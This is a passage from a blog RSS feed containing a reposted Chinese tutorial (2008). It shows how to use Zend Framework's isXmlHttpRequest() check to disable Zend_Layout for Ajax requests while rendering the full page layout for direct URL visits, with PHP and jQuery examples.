		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>【转帖】Zend Framework中Ajax的一个使用技巧</title>
		<link>http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/</link>
		<comments>http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/#comments</comments>
		<pubDate>Tue, 01 Apr 2008 12:43:57 +0000</pubDate>
		<dc:creator>askie</dc:creator>
				<category><![CDATA[zend framework]]></category>

		<guid isPermaLink="false">http://www.pkphp.com/?p=20</guid>
		<description><![CDATA[前言：其实这个技巧，不限于Zend Framework。我对于这个技巧，是来自Ruby On Rails的学习过程中，在Thomas的书中有提到这种ajax场景；而本文章主要讲述这个技巧在Zend Framework中如何实现。 几点说明： 1、本文章的Js部分，采用jQuery；我比较中意这个。但是本文章侧重讲的是一个思路；而不是js的写法技巧。 2、阅读本文章前，最好对Zend Framework了解；并了解Zend_Layout的概念。 一个场景的处理思考 先从一个场景来入手。假设你有一个请求时http://project-name/product/list，来显示商品列表。而，普通情况下，你的这个 请求来自左侧菜单栏；请求方式是一个ajax请求；即不更新菜单栏以及header footer，只更新在&#60;divid=&#8217;mainbody&#8217;&#62;&#60;/div&#62;的内容。 这是一个常见的ajax应用场景。 一般情况下，是没什么问题。但是有一天一个聪明的用户知道这个url(知道方法很多)，而直接在浏览器上输入http://project-name/product/list，那么结果呢？ 你显示了一块不带有header footer 的html代码，你的界面里没有定义css，因此显示很难看；没有js，可能很多点击无效无法工作。 用户不懂这些，他只知道出现error。 这个情况，你遇到过吗？我的应用中，其实就遇到过；之前的解决办法没有，只是希望用户别这么聪明。 好了，问题明白了；解决之前，我们先一起看看Zend_Layout的使用方法。 更多的Zend_Layout的学习，可以先阅读 http://akrabat.com/2007/12/11/simple-zend_layout-example/的内容 以及官方文档 http://framework.zend.com/manual/en/zend.layout.html 首先建立一个普通的Zend_Layout使用例。 复制PHP内容到剪贴板 PHP代码: private function _buildMVCLayout(){ //增加layout //$this-&#62;_config 是一个Zend_Config_Xml类；内容来自一个配置文件。 if(!empty($this-&#62;_config-&#62;view-&#62;layout-&#62;enable)){ $_viewPath = trim($this-&#62;_config-&#62;view-&#62;layout-&#62;path); $_viewPath = empty($_viewPath)?'layout':$_viewPath; Zend_Layout::startMvc(array('layoutPath'=&#62;APP_DIR.DIRECTORY_SEPARATOR.$_viewPath)); } } 那么，在layout的目录下，建立一个lauout.phtml 复制PHP内容到剪贴板 PHP代码: &#60;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&#62; [...]<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">jQuery AJAX in Zend Framework</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework V1.5 中的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">zend framework错误或者异常信息捕捉</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2010%2F01%2F09%2Fzend-framework-render-intro%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">[转]详细介绍php Zend Framework中的render使用方法</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>前言：其实这个技巧，不限于Zend Framework。我对于这个技巧，是来自Ruby On Rails的学习过程中，在Thomas的书中有提到这种ajax场景；而本文章主要讲述这个技巧在Zend Framework中如何实现。</p>
<p>几点说明：<br />
1、本文章的Js部分，采用jQuery；我比较中意这个。但是本文章侧重讲的是一个思路；而不是js的写法技巧。<br />
2、阅读本文章前，最好对Zend Framework了解；并了解Zend_Layout的概念。</p>
<p><strong>一个场景的处理思考</strong></p>
<p>先从一个场景来入手。假设你有一个请求时http://project-name/product/list，来显示商品列表。而，普通情况下，你的这个<br />
请求来自左侧菜单栏；请求方式是一个ajax请求；即不更新菜单栏以及header<br />
footer，只更新在&lt;divid=&#8217;mainbody&#8217;&gt;&lt;/div&gt;的内容。</p>
<p>这是一个常见的ajax应用场景。</p>
<p>一般情况下，是没什么问题。但是有一天一个聪明的用户知道这个url(知道方法很多)，而直接在浏览器上输入http://project-name/product/list，那么结果呢？<br />
你显示了一块不带有header footer 的html代码，你的界面里没有定义css，因此显示很难看；没有js，可能很多点击无效无法工作。</p>
<p>用户不懂这些，他只知道出现error。</p>
<p>这个情况，你遇到过吗？我的应用中，其实就遇到过；之前的解决办法没有，只是希望用户别这么聪明。</p>
<p>好了，问题明白了；解决之前，我们先一起看看Zend_Layout的使用方法。<br />
更多的Zend_Layout的学习，可以先阅读 <a href="http://akrabat.com/2007/12/11/simple-zend_layout-example/" target="_blank" rel="nofollow">http://akrabat.com/2007/12/11/simple-zend_layout-example/</a>的内容 以及官方文档 <a href="http://framework.zend.com/manual/en/zend.layout.html" target="_blank" rel="nofollow">http://framework.zend.com/manual/en/zend.layout.html</a></p>
<p><strong>首先建立一个普通的Zend_Layout使用例。<br />
</strong></p>
<div class="blockcode"><span class="headactions" onclick="copycode($('code0'));">复制PHP内容到剪贴板</span></p>
<h5 style="cursor: pointer;" onclick="changedisplay($('code0'), 'auto')" onmouseover="this.style.cursor = 'pointer';">PHP代码:</h5>
<p><code id="code0" style="font-size: 12px;"><span style="color: #007700;">private function </span><span style="color: #0000bb;">_buildMVCLayout</span><span style="color: #007700;">(){<br />
</span><span style="color: #ff8000;">//增加layout<br />
//$this-&gt;_config 是一个Zend_Config_Xml类；内容来自一个配置文件。<br />
</span><span style="color: #007700;">if(!empty(</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_config</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">view</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">layout</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">enable</span><span style="color: #007700;">)){<br />
</span><span style="color: #0000bb;">$_viewPath </span><span style="color: #007700;">= </span><span style="color: #0000bb;">trim</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_config</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">view</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">layout</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">path</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">$_viewPath </span><span style="color: #007700;">= empty(</span><span style="color: #0000bb;">$_viewPath</span><span style="color: #007700;">)?</span><span style="color: #dd0000;">'layout'</span><span style="color: #007700;">:</span><span style="color: #0000bb;">$_viewPath</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">Zend_Layout</span><span style="color: #007700;">::</span><span style="color: #0000bb;">startMvc</span><span style="color: #007700;">(array(</span><span style="color: #dd0000;">'layoutPath'</span><span style="color: #007700;">=&gt;</span><span style="color: #0000bb;">APP_DIR</span><span style="color: #007700;">.</span><span style="color: #0000bb;">DIRECTORY_SEPARATOR</span><span style="color: #007700;">.</span><span style="color: #0000bb;">$_viewPath</span><span style="color: #007700;">));<br />
}<br />
}</span></p>
<p></code></div>
<p>那么，在layout的目录下，建立一个lauout.phtml</p>
<div class="blockcode"><span class="headactions" onclick="copycode($('code1'));">复制PHP内容到剪贴板</span></p>
<h5 onclick="changedisplay($('code1'), 'auto')" onmouseover="this.style.cursor = 'pointer';">PHP代码:</h5>
<p><code id="code1" style="font-size: 12px;"><span style="color: #007700;">&lt;!</span><span style="color: #0000bb;">DOCTYPE html </span><span style="color: #007700;">PUBLIC </span><span style="color: #dd0000;">"-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"</span><span style="color: #007700;">&gt;<br />
&lt;</span><span style="color: #0000bb;">html xmlns</span><span style="color: #007700;">=</span><span style="color: #dd0000;">"http://www.w3.org/1999/xhtml" </span><span style="color: #0000bb;">lang</span><span style="color: #007700;">=</span><span style="color: #dd0000;">"en"</span><span style="color: #007700;">&gt;<br />
&lt;</span><span style="color: #0000bb;">head</span><span style="color: #007700;">&gt;<br />
&lt;</span><span style="color: #0000bb;">meta http</span><span style="color: #007700;">-</span><span style="color: #0000bb;">equiv</span><span style="color: #007700;">=</span><span style="color: #dd0000;">"content-type" </span><span style="color: #0000bb;">c </span><span style="color: #007700;">/&gt;<br />
&lt;</span><span style="color: #0000bb;">meta name</span><span style="color: #007700;">=</span><span style="color: #dd0000;">"description" </span><span style="color: #0000bb;">c </span><span style="color: #007700;">/&gt;<br />
&lt;</span><span style="color: #0000bb;">meta name</span><span style="color: #007700;">=</span><span style="color: #dd0000;">"keywords" </span><span style="color: #0000bb;">c </span><span style="color: #007700;">/&gt;<br />
&lt;</span><span style="color: #0000bb;">link rel</span><span style="color: #007700;">=</span><span style="color: #dd0000;">"icon" </span><span style="color: #0000bb;">type</span><span style="color: #007700;">=</span><span style="color: #dd0000;">"image/x-icon" </span><span style="color: #0000bb;">href</span><span style="color: #007700;">=</span><span style="color: #dd0000;">"&lt;?php echo $this-&gt;baseUrl; ?&gt;/public/images/layout/favicon.ico" </span><span style="color: #007700;">/&gt;<br />
&lt;</span><span style="color: #0000bb;">title</span><span style="color: #007700;">&gt;&lt;?</span><span style="color: #0000bb;">php </span><span style="color: #007700;">echo empty ( </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">title </span><span style="color: #007700;">) ? </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">translate </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'meta.title.default' </span><span style="color: #007700;">) : </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">escape </span><span style="color: #007700;">( </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">title </span><span style="color: #007700;">); </span><span style="color: #0000bb;">?&gt;</span>&lt;/title&gt;<br />
<span style="color: #0000bb;">&lt;?php<br />
</span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">loadCss </span><span style="color: #007700;">( array (</span><span style="color: #dd0000;">'layout' </span><span style="color: #007700;">), </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">baseUrl </span><span style="color: #007700;">);<br />
echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">loadJs </span><span style="color: #007700;">( array (</span><span style="color: #dd0000;">'jquery-1.2.1.pack'</span><span style="color: #007700;">, </span><span style="color: #dd0000;">'loading'</span><span style="color: #007700;">, </span><span style="color: #dd0000;">'jquery/jquery.extend'</span><span style="color: #007700;">, </span><span style="color: #dd0000;">'jquery/jquery.action'</span><span style="color: #007700;">), </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">baseUrl </span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">?&gt;</span><br />
&lt;/head&gt;<br />
&lt;!-- Global IE fix to avoid layout crash when single word size wider than column width --&gt;<br />
&lt;!--[if IE]&gt;&lt;style type="text/css"&gt; body {word-wrap: break-word;}&lt;/style&gt;&lt;![endif]--&gt;<br />
&lt;body&gt;<br />
&lt;div class="page-container"&gt;<br />
&lt;div class="header"&gt;<br />
&lt;div class="header-top"&gt;<br />
&lt;img class="loading_position" style="display:none" id="loading" src="<span style="color: #0000bb;">&lt;?php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">baseUrl</span><span style="color: #007700;">; </span><span style="color: #0000bb;">?&gt;</span>/public/images/icons/loading-large.gif" /&gt;<br />
<span style="color: #0000bb;">&lt;?php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">layout</span><span style="color: #007700;">()-&gt;</span><span style="color: #0000bb;">header_top</span><span style="color: #007700;">; </span><span style="color: #0000bb;">?&gt;</span><br />
<span style="color: #0000bb;">&lt;?php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">layout</span><span style="color: #007700;">()-&gt;</span><span style="color: #0000bb;">header_nav</span><span style="color: #007700;">; </span><span style="color: #0000bb;">?&gt;</span><br />
&lt;/div&gt;<br />
&lt;/div&gt;<br />
&lt;div class="main"&gt;<br />
&lt;div class="main-navigation"&gt;<br />
<span style="color: #0000bb;">&lt;?php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">layout</span><span style="color: #007700;">()-&gt;</span><span style="color: #0000bb;">sidebar_menu</span><span style="color: #007700;">; </span><span style="color: #0000bb;">?&gt;</span><br />
&lt;/div&gt;<br />
&lt;div class="main-content" id="mainbody"&gt;<br />
<span style="color: #0000bb;">&lt;?php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">layout</span><span style="color: #007700;">()-&gt;</span><span style="color: #0000bb;">content ?&gt;</span><br />
&lt;/div&gt;<br />
&lt;/div&gt;<br />
&lt;div class="footer"&gt;<br />
&lt;p&gt;Copyright &amp;#169; 2006 qqinxl | All Rights Reserved&lt;/p&gt;&lt;p class="credits"&gt;Design by &lt;a href="http://www.1-2-3-4.info/" title="Designer Homepage"&gt;Wolfgang&lt;/a&gt; | Modified by &lt;a href="#" title="Adaptor Homepage"&gt;qqinxl&lt;/a&gt; &lt;/p&gt;<br />
&lt;/div&gt;<br />
&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;<br />
</code></div>
<p>这是一个典型的layout布局；其实该模板来自<a href="http://www.1-2-3-4.info/" target="_blank" rel="nofollow">http://www.1-2-3-4.info/</a> 。利用$this-&gt;translate()<br />
可以做到Zend_View内国际化显示；主要内容是在$this-&gt;layout()-&gt;content内显示；即在&lt;div<br />
id=&#8221;mainbody&#8221;&gt;&lt;/div&gt;内显示（这个id名字很关键）。</p>
<p>用户如果请求一个url为http://project-name/product/list，那么Zend_Framework首先执行<br />
ProductController-&gt;listAction()<br />
，渲染product/list.phtml，然后填充到layout.phtml内。</p>
<p><strong>这里开始思考一个Ajax场景。</strong></p>
<p>假设存在两个连接（比如在左侧的菜单栏内），一个发出的是Ajax请求，一个是普通的link连接</p>
<div class="blockcode"><span class="headactions" onclick="copycode($('code2'));">复制PHP内容到剪贴板</span></p>
<h5 onclick="changedisplay($('code2'), 'auto')" onmouseover="this.style.cursor = 'pointer';">PHP代码:</h5>
<p><code id="code2" style="font-size: 12px;"><span style="color: #ff8000;">//Ajax请求<br />
</span><span style="color: #007700;">&lt;</span><span style="color: #0000bb;">a id</span><span style="color: #007700;">=</span><span style="color: #dd0000;">"link1" </span><span style="color: #0000bb;">href</span><span style="color: #007700;">=</span><span style="color: #dd0000;">"#"</span><span style="color: #007700;">&gt;&lt;?</span><span style="color: #0000bb;">php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">translate </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'menu.product.list' </span><span style="color: #007700;">) ;</span><span style="color: #0000bb;">?&gt;</span>&lt;/a&gt;<br />
//普通的link连接<br />
&lt;a id="link2" href="<span style="color: #0000bb;">&lt;?php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">baseUrl</span><span style="color: #007700;">;</span><span style="color: #0000bb;">?&gt;</span>/product/list"&gt;<span style="color: #0000bb;">&lt;?php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">translate </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'menu.product.list' </span><span style="color: #007700;">) ;</span><span style="color: #0000bb;">?&gt;</span>&lt;/a&gt;<br />
&lt;script type="text/javascript"&gt;<br />
//onclick 事件在这里<br />
//尽量html和js分离<br />
$(document).ready(function() {<br />
$("#link1").click(function () {<br />
var url = '<span style="color: #0000bb;">&lt;?php </span><span style="color: #007700;">echo </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">baseUrl</span><span style="color: #007700;">;</span><span style="color: #0000bb;">?&gt;</span>/product/list';<br />
$.ajaxRequest('mainbody',url);<br />
return false;<br />
});<br />
});<br />
&lt;/script&gt;<br />
</code></div>
<p>$.ajaxRequest就是发出一个url请求（参数2），执行后更新div名为mainbody(参数1)的内容。这个js代码后面给出。</p>
<p>一个希望的结果是，如果发出的是link连接（id=link2），当然是整个页面刷新，当然希望除了显示product/list.phtml 还是渲染layout.phtml的内容。<br />
<span style="text-decoration: underline;">而如果发出的是ajax请求(id=link1)，应该关闭layout.phtml；只显示list.phtml内容。<br />
</span><br />
如果这个问题解决了，很明显，第一部分中，我提到的那个聪明的用户直接输入url请求的问题也随着解决了。其实，用户直接输入就是一个普通link请求。</p>
<p><strong>利用Zend Framework 实现</strong></p>
<p>我们只需要在继承Zend_Controller_Action的时候增加如下代码：</p>
<div class="blockcode"><span class="headactions" onclick="copycode($('code3'));">复制PHP内容到剪贴板</span></p>
<h5 style="cursor: pointer;" onclick="changedisplay($('code3'), 'auto')" onmouseover="this.style.cursor = 'pointer';">PHP代码:</h5>
<p><code id="code3" style="font-size: 12px;"><span style="color: #007700;">public function </span><span style="color: #0000bb;">preDispatch</span><span style="color: #007700;">(){<br />
</span><span style="color: #ff8000;">//MVC<br />
</span><span style="color: #007700;">if (</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">getRequest </span><span style="color: #007700;">()-&gt;</span><span style="color: #0000bb;">isXmlHttpRequest </span><span style="color: #007700;">()) {<br />
</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">getHelper </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'layout' </span><span style="color: #007700;">)-&gt;</span><span style="color: #0000bb;">disableLayout </span><span style="color: #007700;">();<br />
}else{<br />
</span><span style="color: #0000bb;">$response </span><span style="color: #007700;">= </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">getResponse </span><span style="color: #007700;">();<br />
</span><span style="color: #0000bb;">$response</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">insert </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'header_top'</span><span style="color: #007700;">, </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">view</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">render </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'basic/header.top.phtml' </span><span style="color: #007700;">) );<br />
if (empty ( </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_loginUser </span><span style="color: #007700;">) or ! </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_loginUser </span><span style="color: #007700;">instanceof </span><span style="color: #0000bb;">Object_User</span><span style="color: #007700;">) {<br />
</span><span style="color: #0000bb;">$response</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">insert </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'sidebar_menu'</span><span style="color: #007700;">, </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">view</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">render </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'basic/sidebar.menu.no.login.phtml' </span><span style="color: #007700;">) );<br />
} else {<br />
</span><span style="color: #0000bb;">$response</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">insert </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'header_nav'</span><span style="color: #007700;">, </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">view</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">render </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'basic/header.nav.phtml' </span><span style="color: #007700;">) );<br />
</span><span style="color: #0000bb;">$response</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">insert </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'sidebar_menu'</span><span style="color: #007700;">, </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">view</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">render </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'basic/sidebar.menu.phtml' </span><span style="color: #007700;">) );<br />
}<br />
}<br />
}</span></p>
<p></code></div>
<p>看到了没有 ，<strong><em>$this-&gt;getRequest ()-&gt;isXmlHttpRequest () </em></strong>这是一个判断ajax请求的函数。</p>
<div class="blockcode"><span class="headactions" onclick="copycode($('code4'));">复制PHP内容到剪贴板</span></p>
<h5 onclick="changedisplay($('code4'), 'auto')" onmouseover="this.style.cursor = 'pointer';">PHP代码:</h5>
<p><code id="code4" style="font-size: 12px;"><span style="color: #ff8000;">//Zend_Controller_Request_Http类内<br />
/**<br />
* Is the request a Javascript XMLHttpRequest?<br />
*<br />
* Should work with Prototype/Script.aculo.us, possibly others.<br />
*<br />
* @return boolean<br />
*/<br />
</span><span style="color: #007700;">public function </span><span style="color: #0000bb;">isXmlHttpRequest</span><span style="color: #007700;">()   {<br />
return (</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">getHeader</span><span style="color: #007700;">(</span><span style="color: #dd0000;">'X_REQUESTED_WITH'</span><span style="color: #007700;">) == </span><span style="color: #dd0000;">'XMLHttpRequest'</span><span style="color: #007700;">);<br />
}</span></p>
<p></code></div>
<p>官方解释在这里 <a href="http://framework.zend.com/manual/en/zend.controller.request.html#zend.controller.request.http.ajax" target="_blank" rel="nofollow">http://framework.zend.com/manual &#8230; r.request.http.ajax</a><br />
当然 jQuery 支持这一函数的判断。</p>
<p>如果是ajax请求 通过 <strong><em>$this-&gt;getHelper ( &#8216;layout&#8217; )-&gt;disableLayout (); </em></strong>关闭layout<br />
否则 渲染lauout的内容；在例子中，我还通过是否存在 当前登录用户loginUser，来渲染不同左侧菜单栏sidebar_menu。</p>
<p>这是一个非常有用的技巧。</p>
<p><strong>另外一个应用</strong></p>
<p>$this-&gt;getRequest ()-&gt;isXmlHttpRequest () 经常还应用在另外一个ajax场景内。</p>
<p>比如，我们提交一个表单；我们希望通过ajax提交，并将结果显示在一个叫&lt;div id=fm-intro&gt;&lt;/div&gt;内；而不是刷新整个页面。<br />
一个常见的写法是：</p>
<div class="blockcode"><span class="headactions" onclick="copycode($('code5'));">复制PHP内容到剪贴板</span></p>
<h5 style="cursor: pointer;" onclick="changedisplay($('code5'), 'auto')" onmouseover="this.style.cursor = 'pointer';">PHP代码:</h5>
<p><code id="code5" style="font-size: 12px;">$this<span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">view</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">title </span><span style="color: #007700;">= </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_ </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'product.new'</span><span style="color: #007700;">);<br />
</span><span style="color: #ff8000;">//产生一个form<br />
</span><span style="color: #0000bb;">$url </span><span style="color: #007700;">= </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_baseUrl </span><span style="color: #007700;">. </span><span style="color: #dd0000;">'/' </span><span style="color: #007700;">. </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_pageInfo</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">getModuleUrl</span><span style="color: #007700;">() . </span><span style="color: #dd0000;">'product/new'</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$form </span><span style="color: #007700;">= new </span><span style="color: #0000bb;">Form_Product_New</span><span style="color: #007700;">( );<br />
</span><span style="color: #0000bb;">$form</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">setAttrib </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'action'</span><span style="color: #007700;">, </span><span style="color: #0000bb;">$url </span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_formData </span><span style="color: #007700;">= </span><span style="color: #0000bb;">null</span><span style="color: #007700;">;<br />
if (</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">getRequest </span><span style="color: #007700;">()-&gt;</span><span style="color: #0000bb;">isPost </span><span style="color: #007700;">()) {<br />
</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">getActionController </span><span style="color: #007700;">()-&gt;</span><span style="color: #0000bb;">getHelper </span><span style="color: #007700;">( </span><span style="color: #dd0000;">'viewRenderer' </span><span style="color: #007700;">)-&gt;</span><span style="color: #0000bb;">setNoRender </span><span style="color: #007700;">();<br />
</span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">_formData </span><span style="color: #007700;">= </span><span style="color: #0000bb;">$this</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">getRequest</span><span style="color: #007700;">()-&gt;</span><span style="color: #0000bb;">getPosts </span><span style="color: #007700;">();<br />
